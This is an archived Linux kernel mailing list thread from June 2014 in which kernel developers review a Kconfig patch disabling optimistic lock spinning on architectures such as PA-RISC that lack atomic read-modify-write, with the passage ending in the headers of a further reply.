In-Reply-To: <1402070140-15090-1-git-send-email-davidlohr@hp.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1720107 gmane.linux.ports.parisc:5880
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1720107>

PA-RISC's cmpxchg is not save against normal stores and the code used
for optimistic spinning is known broken because of this.

Disable for now.

[Changelog from PeterZ]
Reported-by: Mikulas Patocka <mpatocka@redhat.com>
Signed-off-by: Davidlohr Bueso <davidlohr@hp.com>
---
 kernel/Kconfig.locks | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/kernel/Kconfig.locks b/kernel/Kconfig.locks
index e4c3162..125c77a 100644
--- a/kernel/Kconfig.locks
+++ b/kernel/Kconfig.locks
@@ -226,7 +226,7 @@ config MUTEX_SPIN_ON_OWNER
 
 config RWSEM_SPIN_ON_OWNER
        def_bool y
-       depends on SMP && RWSEM_XCHGADD_ALGORITHM
+       depends on SMP && RWSEM_XCHGADD_ALGORITHM && !PARISC
 
 config ARCH_USE_QUEUE_RWLOCK
 	bool
-- 
1.8.1.4


From - Thu Nov 08 21:10:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH 2/2] locking/rwsem: Disable optimistic spinning for
 PA-RISC
Date: Fri, 06 Jun 2014 09:09:47 -0700
Lines: 31
Approved: news@gmane.org
Message-ID: <1402070987.2207.75.camel@dabdike.int.hansenpartnership.com>
References: <1402070140-15090-1-git-send-email-davidlohr@hp.com>
	 <1402070140-15090-3-git-send-email-davidlohr@hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1402071002 6200 80.91.229.3 (6 Jun 2014 16:10:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 6 Jun 2014 16:10:02 +0000 (UTC)
Cc: peterz@infradead.org, mingo@kernel.org, mpatocka@redhat.com,
	torvalds@linux-foundation.org, jason.low2@hp.com,
	waiman.long@hp.com, jejb@parisc-linux.org,
	paulmck@linux.vnet.ibm.com, dave.anglin@bell.net, aswin@hp.com,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org
To: Davidlohr Bueso <davidlohr@hp.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 06 18:09:54 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WswiF-00006D-Ip
	for glpp-linux-parisc@plane.gmane.org; Fri, 06 Jun 2014 18:09:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751883AbaFFQJu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 6 Jun 2014 12:09:50 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:45050 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751845AbaFFQJu (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 6 Jun 2014 12:09:50 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 431EA8EE182;
	Fri,  6 Jun 2014 09:09:49 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id QDu7f6RYnURo; Fri,  6 Jun 2014 09:09:49 -0700 (PDT)
Original-Received: from [153.66.254.224] (unknown [50.46.103.107])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 8209E8EE0C2;
	Fri,  6 Jun 2014 09:09:48 -0700 (PDT)
In-Reply-To: <1402070140-15090-3-git-send-email-davidlohr@hp.com>
X-Mailer: Evolution 3.12.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5881 gmane.linux.kernel:1720111
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5881>

On Fri, 2014-06-06 at 08:55 -0700, Davidlohr Bueso wrote:
> PA-RISC's cmpxchg is not save against normal stores and the code used
> for optimistic spinning is known broken because of this.

What about all the other identified architectures?  The problem is that
unless you can do an atomic Read Modify Write on your architecture, you
have to implement our exchange primitives with locking, and that makes
you unsafe against stores  We happen to be the architecture that
detected this, but I thought we agreed sparc32, metag, tile32, arc and
possibly hexagon have this problem.

Rather than naming all the failing architectures, we probably want an 

ARCH_NO_ATOMIC_RMW

symbol which they select to indicate they can't do atomic exchange and
then you make

depends on SMP && RWSEM_XCHGADD_ALGORITHM &!ARCH_NO_ATOMIC_RMW

So they can all self select (especially if more come crawling out of the
woodwork).

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Zijlstra <peterz@infradead.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH 2/2] locking/rwsem: Disable optimistic spinning for
 PA-RISC
Date: Fri, 6 Jun 2014 19:11:45 +0200
Lines: 64
Approved: news@gmane.org
Message-ID: <20140606171145.GU13930@laptop.programming.kicks-ass.net>
References: <1402070140-15090-1-git-send-email-davidlohr@hp.com>
 <1402070140-15090-3-git-send-email-davidlohr@hp.com>
 <1402070987.2207.75.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1402074739 20437 80.91.229.3 (6 Jun 2014 17:12:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 6 Jun 2014 17:12:19 +0000 (UTC)
Cc: Davidlohr Bueso <davidlohr@hp.com>, mingo@kernel.org,
	mpatocka@redhat.com, torvalds@linux-foundation.org,
	jason.low2@hp.com, waiman.long@hp.com, jejb@parisc-linux.org,
	paulmck@linux.vnet.ibm.com, dave.anglin@bell.net, aswin@hp.com,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	davem@davemloft.net, james.hogan@imgtec.com, cmetcalf@tilera.com,
	vgupta@synopsys.com
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 06 19:12:11 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WsxgY-0008OS-Vj
	for glpp-linux-parisc@plane.gmane.org; Fri, 06 Jun 2014 19:12:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751952AbaFFRMK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 6 Jun 2014 13:12:10 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.9]:58799 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751624AbaFFRMJ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 6 Jun 2014 13:12:09 -0400
Original-Received: from dhcp-077-248-225-117.chello.nl ([77.248.225.117] helo=laptop)
	by bombadil.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
	id 1WsxgB-0004tG-Rc; Fri, 06 Jun 2014 17:11:48 +0000
Original-Received: by laptop (Postfix, from userid 1000)
	id 312AE1035E444; Fri,  6 Jun 2014 19:11:45 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <1402070987.2207.75.camel@dabdike.int.hansenpartnership.com>
User-Agent: Mutt/1.5.21 (2012-12-30)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5882 gmane.linux.kernel:1720138
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5882>

On Fri, Jun 06, 2014 at 09:09:47AM -0700, James Bottomley wrote:
> On Fri, 2014-06-06 at 08:55 -0700, Davidlohr Bueso wrote:
> > PA-RISC's cmpxchg is not save against normal stores and the code used
> > for optimistic spinning is known broken because of this.
> 
> What about all the other identified architectures?  The problem is that
> unless you can do an atomic Read Modify Write on your architecture, you
> have to implement our exchange primitives with locking, and that makes
> you unsafe against stores  We happen to be the architecture that
> detected this, but I thought we agreed sparc32, metag, tile32, arc and
> possibly hexagon have this problem.
> 
> Rather than naming all the failing architectures, we probably want an 
> 
> ARCH_NO_ATOMIC_RMW

The thing is, all these archs are broken beyond this particular problem,
Mikulas Patocka found a number of other spots.

In any case, sure I can exclude more. Although ideally someone goes do
that __atomic sparse thing to flush out all this.

---
Subject: locking, mutex: Disable optimistic spinning on !RMW archs

For some archs a regular store does not play nice with cmpxchg(), the
optimistic spinning code (and various other places not caught by this)
break this assumption and make things go boom.

Until something better is found, disable optimistic spinning for these
archs.

Cc: James.Bottomley@HansenPartnership.com
Cc: davem@davemloft.net
Cc: james.hogan@imgtec.com
Cc: cmetcalf@tilera.com
Cc: vgupta@synopsys.com
Reported-by: Mikulas Patocka <mpatocka@redhat.com>
Signed-off-by: Peter Zijlstra <peterz@infradead.org>
---
 kernel/Kconfig.locks | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/kernel/Kconfig.locks b/kernel/Kconfig.locks
index d2b32ac27a39..b9c132c48bf1 100644
--- a/kernel/Kconfig.locks
+++ b/kernel/Kconfig.locks
@@ -220,6 +220,10 @@ config INLINE_WRITE_UNLOCK_IRQRESTORE
 
 endif
 
+config ARCH_NO_ATOMIC_RMW
+	def_bool y
+	depends on PARISC || SPARC32 || METAG_ATOMICITY_LOCK1 || (TILE && !TILEGX) || (ARC && !ARC_HAS_LLSC)
+
 config MUTEX_SPIN_ON_OWNER
 	def_bool y
-	depends on SMP && !DEBUG_MUTEXES
+	depends on SMP && !DEBUG_MUTEXES && !ARCH_NO_ATOMIC_RMW
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jason Low <jason.low2@hp.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH 1/2] locking/rwsem: Add CONFIG_RWSEM_SPIN_ON_OWNER
Date: Fri, 06 Jun 2014 10:13:08 -0700
Lines: 27
Approved: news@gmane.org
Message-ID: <1402074788.6680.50.camel@j-VirtualBox>
References: <1402070140-15090-1-git-send-email-davidlohr@hp.com>
	 <1402070140-15090-2-git-send-email-davidlohr@hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1402074807 21211 80.91.229.3 (6 Jun 2014 17:13:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 6 Jun 2014 17:13:27 +0000 (UTC)
Cc: peterz@infradead.org, mingo@kernel.org, mpatocka@redhat.com,
	torvalds@linux-foundation.org, waiman.long@hp.com,
	jejb@parisc-linux.org, paulmck@linux.vnet.ibm.com,
	dave.anglin@bell.net, aswin@hp.com, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org
To: Davidlohr Bueso <davidlohr@hp.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 06 19:13:17 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WsxhY-0000R1-A3
	for glpp-linux-parisc@plane.gmane.org; Fri, 06 Jun 2014 19:13:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752227AbaFFRNL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 6 Jun 2014 13:13:11 -0400
Original-Received: from g4t3426.houston.hp.com ([15.201.208.54]:36634 "EHLO
	g4t3426.houston.hp.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752192AbaFFRNK (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 6 Jun 2014 13:13:10 -0400
Original-Received: from g4t3433.houston.hp.com (g4t3433.houston.hp.com [16.210.25.219])
	by g4t3426.houston.hp.com (Postfix) with ESMTP id 129D126B;
	Fri,  6 Jun 2014 17:13:10 +0000 (UTC)
Original-Received: from [10.0.2.15] (unknown [16.98.41.253])
	by g4t3433.houston.hp.com (Postfix) with ESMTP id 9322C66;
	Fri,  6 Jun 2014 17:13:08 +0000 (UTC)
In-Reply-To: <1402070140-15090-2-git-send-email-davidlohr@hp.com>
X-Mailer: Evolution 3.2.3-0ubuntu6 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5883 gmane.linux.kernel:1720139
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5883>

On Fri, 2014-06-06 at 08:55 -0700, Davidlohr Bueso wrote:
> Just like with mutexes (CONFIG_MUTEX_SPIN_ON_OWNER),
> encapsulate the dependencies for rwsem optimistic spinning.
> No logical changes here as it continues to depend on both
> SMP and the XADD algorithm variant.
> 
> Signed-off-by: Davidlohr Bueso <davidlohr@hp.com>
> ---
>  include/linux/rwsem.h  | 4 ++--
>  kernel/Kconfig.locks   | 4 ++++
>  kernel/locking/rwsem.c | 2 +-
>  3 files changed, 7 insertions(+), 3 deletions(-)

Do we also want to add an #ifdef CONFIG_RWSEM_SPIN_ON_OWNER in
__init_rwsem() and in the optimistic spinning functions for rwsem-xadd?


Besides that:

Acked-by: Jason Low <jason.low2@hp.com>


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chris Metcalf <cmetcalf@tilera.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH 2/2] locking/rwsem: Disable optimistic spinning for PA-RISC
Date: Fri, 6 Jun 2014 13:19:59 -0400
Lines: 33
Approved: news@gmane.org
Message-ID: <5391F83F.60005@tilera.com>
References: <1402070140-15090-1-git-send-email-davidlohr@hp.com> <1402070140-15090-3-git-send-email-davidlohr@hp.com> <1402070987.2207.75.camel@dabdike.int.hansenpartnership.com> <20140606171145.GU13930@laptop.programming.kicks-ass.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1402075230 26153 80.91.229.3 (6 Jun 2014 17:20:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 6 Jun 2014 17:20:30 +0000 (UTC)
Cc: Davidlohr Bueso <davidlohr@hp.com>, <mingo@kernel.org>,
	<mpatocka@redhat.com>, <torvalds@linux-foundation.org>,
	<jason.low2@hp.com>, <waiman.long@hp.com>, <jejb@parisc-linux.org>,
	<paulmck@linux.vnet.ibm.com>, <dave.anglin@bell.net>,
	<aswin@hp.com>, <linux-kernel@vger.kernel.org>,
	<linux-parisc@vger.kernel.org>, <davem@davemloft.net>,
	<james.hogan@imgtec.com>, <vgupta@synopsys.com>
To: Peter Zijlstra <peterz@infradead.org>,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Jun 06 19:20:23 2014
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1WsxoO-00044z-Eu
	for glk-linux-kernel-3@plane.gmane.org; Fri, 06 Jun 2014 19:20:16 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752628AbaFFRUE (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Fri, 6 Jun 2014 13:20:04 -0400
Original-Received: from usmamail.tilera.com ([12.216.194.151]:36752 "EHLO
	USMAMAIL.TILERA.COM" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752585AbaFFRUA (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Fri, 6 Jun 2014 13:20:00 -0400
X-CheckPoint: {5391F83F-13-2100090A-C0000000}
Original-Received: from [10.7.0.115] (10.9.0.23) by USMAExch2.tad.internal.tilera.com
 (10.3.0.33) with Microsoft SMTP Server id 14.3.181.6; Fri, 6 Jun 2014
 13:19:59 -0400
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.5.0
In-Reply-To: <20140606171145.GU13930@laptop.programming.kicks-ass.net>
X-Originating-IP: [10.9.0.23]
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1720145 gmane.linux.ports.parisc:5884
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1720145>

On 6/6/2014 1:11 PM, Peter Zijlstra wrote:
> The thing is, all these archs are broken beyond this particular problem,
> Mikulas Patocka found a number of other spots.
>
> In any case, sure I can exclude more. Although ideally someone goes do
> that __atomic sparse thing to flush out all this.
>
> ---
> Subject: locking, mutex: Disable optimistic spinning on !RMW archs
>
> For some archs a regular store does not play nice with cmpxchg(), the
> optimistic spinning code (and various other places not caught by this)
> break this assumption and make things go boom.
>
> Until something better is found, disable optimistic spinning for these
> archs.
>
> [..]
>   
> +config ARCH_NO_ATOMIC_RMW
> +	def_bool y
> +	depends on PARISC || SPARC32 || METAG_ATOMICITY_LOCK1 || (TILE && !TILEGX) || (ARC && !ARC_HAS_LLSC)

For tile:

Acked-by: Chris Metcalf <cmetcalf@tilera.com>

But you should use "TILEPRO" (added in kernel 3.5) instead of "(TILE && !TILEGX)".

-- 
Chris Metcalf, Tilera Corp.
http://www.tilera.com


From - Thu Nov 08 21:10:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linus Torvalds <torvalds@linux-foundation.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH 2/2] locking/rwsem: Disable optimistic spinning for PA-RISC
Date: Fri, 6 Jun 2014 10:22:21 -0700
Lines: 33
Approved: news@gmane.org
Message-ID: <CA+55aFxNLRufHyLHetnst7Lq0Ya1xoAagZf=DbEDTf1ZSfKFCQ@mail.gmail.com>
References: <1402070140-15090-1-git-send-email-davidlohr@hp.com>
	<1402070140-15090-3-git-send-email-davidlohr@hp.com>
	<1402070987.2207.75.camel@dabdike.int.hansenpartnership.com>
	<20140606171145.GU13930@laptop.programming.kicks-ass.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1402075367 27843 80.91.229.3 (6 Jun 2014 17:22:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 6 Jun 2014 17:22:47 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@hansenpartnership.com>,
	Davidlohr Bueso <davidlohr@hp.com>,
	Ingo Molnar <mingo@kernel.org>,
	Mikulas Patocka <mpatocka@redhat.com>,
	Jason Low <jason.low2@hp.com>,
	Waiman Long <waiman.long@hp.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Paul McKenney <paulmck@linux.vnet.ibm.com>,
	John David Anglin <dave.anglin@bell.net>,
	"Chandramouleeswaran, Aswin" <aswin@hp.com>,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	David Miller <davem@davemloft.net>,
	James Hogan <james.hogan@imgtec.com>,
	Chris Metcalf <cmetcalf@tilera.com>,
	Vineet Gupta <vgupta@synopsys.com>
To: Peter Zijlstra <peterz@infradead.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Jun 06 19:22:38 2014
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1Wsxqe-0005Lg-OZ
	for glk-linux-kernel-3@plane.gmane.org; Fri, 06 Jun 2014 19:22:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752801AbaFFRW0 (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Fri, 6 Jun 2014 13:22:26 -0400
Original-Received: from mail-vc0-f172.google.com ([209.85.220.172]:63645 "EHLO
	mail-vc0-f172.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752160AbaFFRWW (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Fri, 6 Jun 2014 13:22:22 -0400
Original-Received: by mail-vc0-f172.google.com with SMTP id lf12so3409583vcb.31
        for <multiple recipients>; Fri, 06 Jun 2014 10:22:21 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:date:message-id:subject
         :from:to:cc:content-type;
        bh=gSQbXZ1TMiraHqZM7GiCxMwo+jIrHZcr42ennPj+5TM=;
        b=BOnMjs/ajuut3a25vARyixGMJfh7VX1aIkPJjxU6SvZGCV3fe4IGYbFs1ZgkEFeSeI
         RKhlJlhAaf5O/iCZgdn9OZovDMU1zl9I4Q3t1eUd0TpBQnH5Wulwf4mVoAUioOM4WAzo
         RiFfjaSt2jZuXUuy1rlfhX/REKLeMJnKRqYn6+wzg2ajibK+HVh7AocdiHWAUNytzLd1
         N1qfTQw0YTX9uBPqV0dlY0TBXxflHZXP70l5h/WgV6Iau4GGsUxt6deExnfzESS78OKU
         S3D9TeUla3BScKXlV0iiGJTrACdB0/jUNU0M8+iKrzWw0Lxt0ksAFIEPAFxgxWBdwWmS
         S4QA==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linux-foundation.org; s=google;
        h=mime-version:sender:in-reply-to:references:date:message-id:subject
         :from:to:cc:content-type;
        bh=gSQbXZ1TMiraHqZM7GiCxMwo+jIrHZcr42ennPj+5TM=;
        b=gw41Xu0dL7RAmFaQyAc3ayTs30J6h0QhIdG4Jqswm0v+O7aHHrhAAcG7N+VrDJN/is
         kw0ex/C5EsA78LjDijL7PkfAePnxg09201WG4Uvl3BQHmMccTWne9paS8yFFyVcD7Hbc
         GWoHk7F/UhFc2soFpLZ+u4d2y7w620f005Sls=
X-Received: by 10.220.205.3 with SMTP id fo3mr5236516vcb.57.1402075341522;
 Fri, 06 Jun 2014 10:22:21 -0700 (PDT)
Original-Received: by 10.220.13.16 with HTTP; Fri, 6 Jun 2014 10:22:21 -0700 (PDT)
In-Reply-To: <20140606171145.GU13930@laptop.programming.kicks-ass.net>
X-Google-Sender-Auth: VNQwkmhnZYzHLKvfy9Iwnqmwcq4
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1720154 gmane.linux.ports.parisc:5885
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1720154>

On Fri, Jun 6, 2014 at 10:11 AM, Peter Zijlstra <peterz@infradead.org> wrote:
>
> +config ARCH_NO_ATOMIC_RMW
> +       def_bool y
> +       depends on PARISC || SPARC32 || METAG_ATOMICITY_LOCK1 || (TILE && !TILEGX) || (ARC && !ARC_HAS_LLSC)

Ugh. We've had these kinds of things before, and they are broken and
nasty to maintain.

Just make it

    config ARCH_SUPPORTS_ATOMIC_RMW
        bool

which defaults to no. And then make MUTEX_SPIN_ON_OWNER depend on that.

And then we can add "select ARCH_SUPPORTS_ATOMIC_RMW" to the few
architectures we (a) care about and (b) know work. So start with x86,
arm, powerpc and sparc64, and then the rest can just add their own
oneliners if they care.

Remember, most people really won't ever care about this, simply
because it only matters if you have enough CPU's for the whole
spinning thing to make a noticeable difference.  So missing some odd
architecture _really_ doesn't matter.

And we really really *really* shouldn't have these kinds of "random
really odd architecture details" in the generic code, not even if it's
something as specific as kernel/Kconfig.locks.

               Linus

              Linus

From - Thu Nov 08 21:10:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Zijlstra <peterz@infradead.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH 2/2] locking/rwsem: Disable optimistic spinning for
 PA-RISC
Date: Fri, 6 Jun 2014 19:53:16 +0200
Lines: 115
Approved: news@gmane.org
Message-ID: <20140606175316.GV13930@laptop.programming.kicks-ass.net>
References: <1402070140-15090-1-git-send-email-davidlohr@hp.com>
 <1402070140-15090-3-git-send-email-davidlohr@hp.com>
 <1402070987.2207.75.camel@dabdike.int.hansenpartnership.com>
 <20140606171145.GU13930@laptop.programming.kicks-ass.net>
 <CA+55aFxNLRufHyLHetnst7Lq0Ya1xoAagZf=DbEDTf1ZSfKFCQ@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1402077245 18139 80.91.229.3 (6 Jun 2014 17:54:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 6 Jun 2014 17:54:05 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@hansenpartnership.com>,
	Davidlohr Bueso <davidlohr@hp.com>,
	Ingo Molnar <mingo@kernel.org>,
	Mikulas Patocka <mpatocka@redhat.com>,
	Jason Low <jason.low2@hp.com>,
	Waiman Long <waiman.long@hp.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Paul McKenney <paulmck@linux.vnet.ibm.com>,
	John David Anglin <dave.anglin@bell.net>,
	"Chandramouleeswaran, Aswin" <aswin@hp.com>,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	David Miller <davem@davemloft.net>,
	James Hogan <james.hogan@imgtec.com>,
	Chris Metcalf <cmetcalf@tilera.com>,
	Vineet Gupta <vgupta@synopsys.com>
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Jun 06 19:53:56 2014
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1WsyKx-0005BG-IN
	for glk-linux-kernel-3@plane.gmane.org; Fri, 06 Jun 2014 19:53:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752467AbaFFRxo (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Fri, 6 Jun 2014 13:53:44 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.9]:40656 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752310AbaFFRxe (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Fri, 6 Jun 2014 13:53:34 -0400
Original-Received: from dhcp-077-248-225-117.chello.nl ([77.248.225.117] helo=laptop)
	by bombadil.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
	id 1WsyKM-0000Mn-I9; Fri, 06 Jun 2014 17:53:19 +0000
Original-Received: by laptop (Postfix, from userid 1000)
